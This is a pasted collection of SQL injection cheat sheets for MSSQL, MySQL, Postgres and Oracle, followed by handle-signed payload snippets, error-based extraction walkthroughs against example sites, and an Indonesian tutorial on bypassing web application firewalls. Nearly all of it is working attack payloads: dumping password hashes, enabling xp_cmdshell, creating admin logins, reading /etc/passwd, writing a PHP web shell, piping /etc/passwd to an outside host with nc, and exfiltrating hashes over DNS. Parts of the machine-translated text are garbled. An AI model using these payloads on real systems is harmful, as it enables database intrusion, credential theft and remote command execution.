  963. SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
  964. SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005
  965. Current Database SELECT DB_NAME()
  966. List Databases SELECT name FROM master..sysdatabases;
  967. SELECT DB_NAME(N); — for N = 0, 1, 2, …
  968. List Columns SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
  969. SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
  970. List Tables SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
  971. SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
  972. SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
  973. Find Tables From Column Name – NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
  974. SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’
  975. Select Nth Row SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
  976. Select Nth Char SELECT substring(‘abcd’, 3, 1) — returns c
  977. Bitwise AND SELECT 6 & 2 — returns 2
  978. SELECT 6 & 1 — returns 0
  979. ASCII Value -> Char SELECT char(0×41) — returns A
  980. Char -> ASCII Value SELECT ascii(‘A’) – returns 65
  981. Casting SELECT CAST(’1′ as int);
  982. SELECT CAST(1 as char)
  983. String Concatenation SELECT ‘A’ + ‘B’ – returns AB
  984. If Statement IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
  985. Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
  986. Avoiding Quotes SELECT char(65)+char(66) — returns AB
  987. Time Delay WAITFOR DELAY ’0:0:5′ — pause for 5 seconds
  988. Make DNS Requests declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
  989. – Also check out theDNS tunnel feature of sqlninja
  990. Command Execution EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
  991. EXEC sp_configure ‘show advanced options’, 1; — priv
  992. RECONFIGURE; — priv
  993. EXEC sp_configure ‘xp_cmdshell’, 1; — priv
  994. RECONFIGURE; — priv
  995. Local File Access CREATE TABLE mydata (line varchar(8000));
  996. BULK INSERT mydata FROM ‘c:boot.ini’;
  997. DROP TABLE mydata;
  998. Hostname, IP Address SELECT HOST_NAME()
  999. Create Users EXEC sp_addlogin ‘user’, ‘pass’; — priv
  1000. Drop Users EXEC sp_droplogin ‘user’; — priv
  1001. Make User DBA EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
  1002. Location of DB files EXEC sp_helpdb master; –location of master.mdf
  1003. EXEC sp_helpdb pubs; –location of pubs.mdf
  1004. Default/System Databases northwind
  1005. model
  1006. msdb
  1007. pubs — not on sql server 2005
  1008. tempdb
  1009.  
  1010. ------------------------------------
  1011.  
  1012. MYSQL INJECTION CHEAT SHEET
  1013.  
  1014. Version SELECT @@version
  1015. Comments SELECT 1; #comment
  1016. SELECT /*comment*/1;
  1017. Current User SELECT user();
  1018. SELECT system_user();
  1019. List Users SELECT user FROM mysql.user; — priv
  1020. List Password Hashes SELECT host, user, password FROM mysql.user; — priv
  1021. Password Cracker John the Ripper will crack MySQL password hashes.
  1022. List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
  1023. List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
  1024. Current Database SELECT database()
  1025. List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
  1026. SELECT distinct(db) FROM mysql.db — priv
  1027. List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
  1028. List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
  1029. Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
  1030. Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
  1031. SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
  1032. Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
  1033. Bitwise AND SELECT 6 & 2; # returns 2
  1034. SELECT 6 & 1; # returns 0
  1035. ASCII Value -> Char SELECT char(65); # returns A
  1036. Char -> ASCII Value SELECT ascii(‘A’); # returns 65
  1037. Casting SELECT cast(’1′ AS unsigned integer);
  1038. SELECT cast(’123′ AS char);
  1039. String Concatenation SELECT CONCAT(‘A’,'B’); #returns AB
  1040. SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
  1041. If Statement SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
  1042. Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
  1043. Avoiding Quotes SELECT 0×414243; # returns ABC
  1044. Time Delay SELECT BENCHMARK(1000000,MD5(‘A’));
  1045. SELECT SLEEP(5); # >= 5.0.12
  1046. Make DNS Requests Impossible?
  1047. Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
  1048. Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
  1049. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
  1050. Hostname, IP Address SELECT @@hostname;
  1051. Create Users CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
  1052. Delete Users DROP USER test1; — priv
  1053. Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
  1054. Location of DB files SELECT @@datadir;
  1055. Default/System Databases information_schema (>= mysql 5.0)
  1056. mysql
  1057.  
  1058. ------------------------------------------
  1059. Postgres SQL Injection Cheat Sheet
  1060. Version SELECT version()
  1061. Comments SELECT 1; –comment
  1062. SELECT /*comment*/1;
  1063. Current User SELECT user;
  1064. SELECT current_user;
  1065. SELECT session_user;
  1066. SELECT usename FROM pg_user;
  1067. SELECT getpgusername();
  1068. List Users SELECT usename FROM pg_user
  1069. List Password Hashes SELECT usename, passwd FROM pg_shadow — priv
  1070. Password Cracker MDCrack can crack PostgreSQL’s MD5-based passwords.
  1071. List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
  1072. List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
  1073. Current Database SELECT current_database()
  1074. List Databases SELECT datname FROM pg_database
  1075. List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
  1076. List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
  1077. Find Tables From Column Name If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
  1078. Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
  1079. SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
  1080. Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
  1081. Bitwise AND SELECT 6 & 2; — returns 2
  1082. SELECT 6 & 1; –returns 0
  1083. ASCII Value -> Char SELECT chr(65);
  1084. Char -> ASCII Value SELECT ascii(‘A’);
  1085. Casting SELECT CAST(1 as varchar);
  1086. SELECT CAST(’1′ as int);
  1087. String Concatenation SELECT ‘A’ || ‘B’; — returnsAB
  1088. If Statement IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead.
  1089. Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
  1090. Avoiding Quotes SELECT CHR(65)||CHR(66); — returns AB
  1091. Time Delay SELECT pg_sleep(10); — postgres 8.2+ only
  1092. CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here .
  1093. Make DNS Requests Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
  1094. SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
  1095. Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
  1096. Command Execution CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
  1097. Local File Access CREATE TABLE mydata(t text);
  1098. COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
  1099. …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
  1100. …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
  1101. DROP TABLE mytest mytest;Write to a file:
  1102. CREATE TABLE mytable (mycol text);
  1103. INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
  1104. COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try.
  1105. – priv user can also read/write files by mapping libc functions
  1106. Hostname, IP Address SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
  1107. SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
  1108. Create Users CREATE USER test1 PASSWORD ‘pass1′; — priv
  1109. CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
  1110. Drop Users DROP USER test1; — priv
  1111. Make User DBA ALTER USER test1 CREATEUSER CREATEDB; — priv
  1112. Location of DB files SELECT current_setting(‘data_directory’); — priv
  1113. SELECT current_setting(‘hba_file’); — priv
  1114. Default/System Databases template0
  1115. template1
  1116.  
  1117. -----------------------------------------------
  1118. ORACLE SQL INJECTION CHEAT SHEET
  1119.  
  1120. Version SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
  1121. SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
  1122. SELECT version FROM v$instance;
  1123. Comments SELECT 1 FROM dual — comment
  1124. – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
  1125. Current User SELECT user FROM dual
  1126. List Users SELECT username FROM all_users ORDER BY username;
  1127. SELECT name FROM sys.user$; — priv
  1128. List Password Hashes SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked
  1129. SELECT name,spare4 FROM sys.user$ — priv, 11g
  1130. Password Cracker checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
  1131. List Privileges SELECT * FROM session_privs; — current privs
  1132. SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
  1133. SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
  1134. SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
  1135. List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
  1136. Current Database SELECT global_name FROM global_name;
  1137. SELECT name FROM v$database;
  1138. SELECT instance_name FROM v$instance;
  1139. SELECT SYS.DATABASE_NAME FROM DUAL;
  1140. List Databases SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
  1141. – Also query TNS listener for other databases. See tnscmd (services | status).
  1142. List Columns SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
  1143. SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
  1144. List Tables SELECT table_name FROM all_tables;
  1145. SELECT owner, table_name FROM all_tables;
  1146. Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
  1147. Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
  1148. Select Nth Char SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
  1149. Bitwise AND SELECT bitand(6,2) FROM dual; — returns 2
  1150. SELECT bitand(6,1) FROM dual; — returns0
  1151. ASCII Value -> Char SELECT chr(65) FROM dual; — returns A
  1152. Char -> ASCII Value SELECT ascii(‘A’) FROM dual; — returns 65
  1153. Casting SELECT CAST(1 AS char) FROM dual;
  1154. SELECT CAST(’1′ AS int) FROM dual;
  1155. String Concatenation SELECT ‘A’ || ‘B’ FROM dual; — returns AB
  1156. If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
  1157. Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
  1158. SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
  1159. Avoiding Quotes SELECT chr(65) || chr(66) FROM dual; — returns AB
  1160. Time Delay BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
  1161. SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow
  1162. SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
  1163. SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
  1164. – Also see Heavy Queries to create a time delay
  1165. Make DNS Requests SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
  1166. SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
  1167. Command Execution Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-(
  1168. Local File Access UTL_FILE can sometimes be used. Check that the following is non-null:
  1169. SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).
  1170. Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual;
  1171. SELECT host_name FROM v$instance;
  1172. SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
  1173. SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames
  1174. Location of DB files SELECT name FROM V$DATAFILE;
  1175. Default/System Databases SYSTEM
  1176. SYSAUX
  1177.  
  1178. ~rkx
  1179.  
  1180. Basic filter
  1181.  
  1182. ----------------------------
  1183.  
  1184. *** Comments
  1185.  
  1186. ‘ or 1=1#
  1187.  
  1188. ‘ or 1=1– -
  1189.  
  1190. ‘ or 1=1/* (MySQL < 5.1)
  1191.  
  1192. ' or 1=1;%00
  1193.  
  1194. ' or 1=1 union select 1,2 as `
  1195.  
  1196. ' or#newline
  1197.  
  1198. 1='1
  1199.  
  1200. ' or– -newline
  1201.  
  1202. 1='1
  1203.  
  1204. ' /*!50000or*/1='1
  1205.  
  1206. ' /*!or*/1='1
  1207.  
  1208. *** Prefixes
  1209.  
  1210. + – ~ !
  1211.  
  1212. ‘ or –+2=- -!!!’2
  1213.  
  1214. *** Operators
  1215.  
  1216. ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE,
  1217.  
  1218. RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
  1219.  
  1220. *** Whitespaces
  1221.  
  1222. + %09 %0a %0b %0c %0d %a0 /**/
  1223.  
  1224. ‘or+(1)sounds/**/like“1“–%a0-
  1225.  
  1226. load_file/*foo*/(0×616263)
  1227.  
  1228. 0x82 ( low single comma )
  1229.  
  1230. %82
  1231.  
  1232. %uff00 %c0%20 %c0%a0 %e0%80%a0 %u0028 %uff08 %c0( %c0%a8 %e0%80%a8 %u0029 %uff09 %c0) %c0%a9 %e0%80%a9
  1233.  
  1234. -Ph.h4rh4r
  1235.  
  1236. FOR POSTGRE 8.4 >
  1237.  
  1238. (select+array_to_string(array_agg(concat(table_name,'::',column_name)::text),$$%3Cli%3E$$)from+information_schema.columns+where+table_schema+not+in($$informatio​n_schema$$,$$pg_catalog$$))
  1239.  
  1240. 2.FOR POSTGRE 9.1>
  1241.  
  1242. (select+string_agg(concat(table_name,'::',column_name),$$%3Cli%3E$$)from+informa​tion_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalo​g$$))
  1243.  
  1244. 3. ALL VERSION
  1245. (select+array_to_string(array(select+table_name||':::'||column_name::text+from+i​nformation_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalog$$)),'%3Cli%3E'))
  1246.  
  1247. 4.
  1248. 'Asero ::: '||version()||'<br>'||(SELECT array_to_string(array(SELECT('===>'||T0ltable_name||' :: '||column_name)::text FROM information_schema.columns where table_schema='public'),'<br>'))
  1249.  
  1250. ~Asero
  1251.  
  1252.  
  1253. Oracle SQL Injection and DIOS query (Ph.h4rh4r)
  1254.  
  1255. http://www.site.it/pages.php?p=cut-linear') order by 3--&lang=it
  1256.  
  1257. No Error
  1258.  
  1259. http://www.site.it/pages.php?p=cut-linear') order by 4--&lang=it
  1260.  
  1261. No Error
  1262.  
  1263. http://www.site.it/pages.php?p=cut-linear') order by 5--&lang=it
  1264.  
  1265. Error
  1266.  
  1267. http://www.site.it/pages.php?p=cut-linear') Union All Select NULL,NULL,NULL,NULL from dual--&lang=it
  1268.  
  1269. ctrl+u (view-source:)
  1270.  
  1271. view-source:http://www.site.it/pages.php?p=cut-linear') Union All Select '1111',NULL,NULL,NULL from dual--&lang=it
  1272.  
  1273. view-source:http://www.site.it/pages.php?p=cut-linear') Union All Select NULL,'1111',NULL,NULL from dual--&lang=it
  1274.  
  1275. view-source:}
  1276.  
  1277. <meta name="description" content="11111" />
  1278.  
  1279. <meta name="description" content="1" />
  1280.  
  1281. }
  1282.  
  1283. '">'||(select LISTAGG(table_name,'<li>') within group (ORDER BY table_name) from all_tables)||'<!--'
  1284.  
  1285. (select wm_concat('<li>'||table_name||':'||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120)||'<!--'
  1286.  
  1287. http://www.site.it/pages.php?p=cut-linear') and 1=0 union select null,'">'||(select LISTAGG(table_name,'<li>') within group (ORDER BY table_name) from all_tables)||'<!--' ,NULL,NULL from dual --&lang=it
  1288.  
  1289. (select banner from v$version where rownum=1)
  1290.  
  1291.  
  1292. SQL injection using the xml function extractvalue() to extract data (Ph.h4rh4r)
  1293.  
  1294. 1 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,version(),0x3a,user()))--
  1295.  
  1296. Result:
  1297.  
  1298. 'Xpath syntax error: 5.5.9:user@localhost'
  1299.  
  1300. 2 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3c,table_name) from information_schema.tables limit 85,1)))--
  1301.  
  1302. Result:
  1303.  
  1304. 'Xpath syntax error: :users'
  1305.  
  1306. 3 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 1050,1)))--
  1307.  
  1308. Result:
  1309.  
  1310. 'Xpath syntax error: :username'
  1311.  
  1312. 4 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 1150,1)))--
  1313.  
  1314. Result:
  1315.  
  1316. 'Xpath syntax error: :password'
  1317.  
  1318. 5 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,username,0x3a,password) from users)))--
  1319.  
  1320. Result:
  1321.  
  1322. 'Xpath syntax error: :Admin:password1'
  1323.  
  1324. OR
  1325.  
  1326. 6 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,username,0x3a,password) from users limit 1,1)))--
  1327.  
  1328. Source: GOOGLE.COM
  1329.  
  1330. Sekarang saya akan menunjukkan bagaimana mem-bypass filter WAF.
  1331.  
  1332. Sebelum Semua pastikan Anda memiliki pengetahuan dalam SQLi.
  1333.  
  1334. Ok Mari Mulai ..
  1335.  
  1336. Apa itu WAF atau Aplikasi Web Firewall>?
  1337. -A firewall aplikasi web (WAF) adalah alat, plugin server, atau filter yang menerapkan seperangkat aturan ke percakapan HTTP. Umumnya, aturan-aturan ini mencakup serangan umum seperti Cross-site Scripting (XSS) dan SQL Injection. Dengan menyesuaikan aturan untuk aplikasi Anda, banyak serangan dapat diidentifikasi dan diblokir. Upaya untuk melakukan kustomisasi ini dapat menjadi signifikan dan perlu dipertahankan karena aplikasi dimodifikasi.
  1338.  
  1339. Beberapa situs web menggunakan filter WAF.
  1340. Jika Anda menemukan situs vuln yang memiliki waf dan Anda mencoba untuk menyuntikkan permintaan berbasis Union dan Pertunjukannya Tidak Dapat Diterima, 403 terlarang atau Aplikasi Web FIrewall ALERT..Itulah berarti permintaan atau sintaks yang disuntikkan adalah Filter atau Diblokir oleh WAF.
  1341.  
  1342. Ok sekarang inilah beberapa metode untuk Bypass filter WAF.
  1343.  
  1344. 1) Komentar:
  1345.  
  1346. Komentar SQL adalah berkat bagi kita SQL injector. Mereka memungkinkan kita untuk melewati banyak pembatasan firewall aplikasi Web dan untuk membunuh pernyataan SQL tertentu untuk mengeksekusi perintah penyerang saat mengomentari pertanyaan sah yang sebenarnya. Beberapa komentar di SQL:
  1347.  
  1348. //,? , / ** /, #,? +,? -,;
  1349.  
  1350. 2) Mengubah Kasus:
  1351.  
  1352. Beberapa WAF? S hanya akan menyaring serangan huruf kecil. Seperti yang bisa kita lihat, kita dapat dengan mudah menghindarinya dengan mengubah huruf besar-kecil:
  1353. Kemungkinan filter Regex:
  1354.  
  1355. / union \ sselect / g
  1356. id = 1 + UnIoN / ** / SeLeCT, atau dengan XSS -> alert (1)
  1357.  
  1358. 3) Komentar Inline:
  1359.  
  1360. Beberapa kata kunci filter WAF seperti / union \ sselect / ig Kita dapat mem-bypass filter ini dengan menggunakan komentar inline sebagian besar waktu, Contoh yang lebih kompleks akan memerlukan pendekatan yang lebih canggih seperti menambahkan kata kunci SQL yang selanjutnya akan memisahkan dua kata:
  1361.  
  1362. id = 1 / *! UnIoN * / SeLeCT
  1363.  
  1364. Perhatikan tanda seru / *! Kode * / Tanda seru mengeksekusi pernyataan SQL kami.
  1365. Komentar sebaris dapat digunakan di seluruh pernyataan SQL sehingga jika table_name atau information_schema disaring, kita dapat menambahkan lebih banyak komentar sebaris. Sebagai contoh, mari kita berpura-pura sebuah situs menyaring serikat, di mana, table_name, table_schema, =, dan information_schema .. Ini adalah 3 pernyataan yang kita perlukan untuk menyuntikkan target kita.
  1366. Untuk ini kami akan:
  1367.  
  1368. id = 1 / *! UnIoN * / + SeLeCT + 1,2, concat (/ *! table_name * /) + FrOM /*information_schema*/.tables / *! WHERE * / + / *! TaBlE_ScHeMa * / + like + database ()? -
  1369.  
  1370. Kode di atas akan melewati filter. Perhatikan kami dapat menggunakan? Suka? bukannya? =?
  1371. Cara lain untuk menggunakan comemnts inline, ketika semuanya tampak gagal Anda dapat mencoba untuk melalui aplikasi Firewall off dengan menyusun pernyataan SQL menggunakan variabel:
  1372.  
  1373. id = 1 + UnIoN / * & a = * / SeLeCT / * & a = * / 1,2,3, database ()? -
  1374.  
  1375. Kode di atas harus melewati Union + pilih filter bahkan ketika komentar inline umum tidak bekerja dengan sendirinya
  1376.  
  1377. 4) Buffer Overflow: / Masukan yang tidak terduga:
  1378.  
  1379. Banyak WAFS ditulis dalam bahasa C yang membuat mereka cenderung meluap atau bertindak berbeda ketika dimuat dengan sekelompok data. Berikut adalah WAF yang melakukan tugasnya dengan benar, tetapi ketika diberikan sejumlah besar Data memungkinkan permintaan dan respons jahat.
  1380.  
  1381. id = 1 dan (pilih 1) = (Pilih 0xAAAAAAAAAAAAAAAAA 1000 lebih A? s) + UnIoN + SeLeCT + 1,2, versi (), 4,5, database (), gunakan r (), 8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26
  1382. , 27,28,29,30,31,32,33,34,35,36? +
  1383.  
  1384. Pemintas ini di atas berfungsi. Saya sendiri baru saja menggunakan ini terhadap situs Web baru-baru ini.
  1385.  
  1386. 5) Kata kunci yang diganti (preg_replace dan / atau WAF? S dengan tindakan yang sama
  1387.  
  1388. Terkadang dan aplikasi akan menghapus semua kata kunci. Sebagai contoh, katakanlah kita memiliki filter yang menggantikan serikat pilih dengan spasi. Kita bisa memotong filter itu seperti ini:
  1389.  
  1390. id = 1 + UNIunionON + SeLselectECT + 1,2,3?
  1391.  
  1392. Seperti yang Anda lihat setelah union + select telah dihapus modal kami UNION + SELECT mengambil tempat yang berhasil menyuntikkan permintaan kami:
  1393.  
  1394. UNION + PILIH + 1,2,3?
  1395.  
  1396. 6) Pengkodean karakter:
  1397.  
  1398. Kebanyakan WAF akan memecahkan kode dan menyaring masukan aplikasi, tetapi beberapa WAF hanya men-decode input sekali sehingga pengkodean ganda dapat melewati filter tertentu karena WAF akan men-decode input sekali kemudian menyaring sementara Aplikasi akan terus mendekode pernyataan SQL mengeksekusi kode kita.
  1399. Contoh enkode ganda:
  1400.  
  1401. id = 1% 252f% 252a * / UNION% 252f% 252a / SELECT% 252f% 252a * / 1,2, kata sandi% 252f% 252a * / FROM% 252f% 252a * / Pengguna? +
  1402. [# Tut By Pain006]
  1403.  
  1404. ©
  1405. ~ h
  1406.  
  1407.  
  1408. Bypass AQTRONIX WebKnight Filter IIS
  1409.  
  1410. http://www.site.com?id=1 and (2)=(s%elect convert(int,@@version))
  1411.  
  1412. http://www.site.com?id=1 and (2)=(s%elect convert(int,DB_N%AME()))
  1413.  
  1414. sql.php?id=2+un/**/ion+se/**/lect+1,2,3,4
  1415.  
  1416. sql.php?id=2+un/*%00*/ion+se/*%00*/lect+1,2,3,4,5
  1417.  
  1418. sql.php?id=2/**/union/**/select/**/1,2,3,4,5
  1419.  
  1420. sql.php?id=2+union+%0A+select+1,2,3,4,5
  1421.  
  1422. sql.php?id=2+/*%00*/+union+select+1,2,3,4,5
  1423.  
  1424. /?a=1+union/*&b=*/select+1,2
  1425.  
  1426. /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users
  1427.  
  1428. -Ph.h4rh4r
  1429.  
  1430. 400,403,404,406
  1431. ERROR BYPASS
  1432. --------------------
  1433.  
  1434. %55nion/**/%53elect
  1435.  
  1436. id=null%0A/**//*!50000%55nIOn*//*yoU*/all/**/%0A/*!%53eLEct*/%0A/*AAA*/+1,2,3--+
  1437.  
  1438. 500
  1439. ERROR BYPASS
  1440. --------------------
  1441.  
  1442. and (select 1)=(Select 0xAA)+UnIoN+SeLeCt+1,2,3--+
  1443.  
  1444. **NOTE: if you are in IE,and its ASP site,and you get error 500,goto chrome.**
  1445.  
  1446. 1064
  1447. ERROR BYPASS
  1448. --------------------
  1449.  
  1450. /**/Union/**/Select/**/
  1451.  
  1452. uniunionon+selselectect
  1453.  
  1454. id=(0)union(select(0),version(),(0),(0),(0),(0),(0),(0),(0))
  1455.  
  1456. if you get error 1064 like:
  1457.  
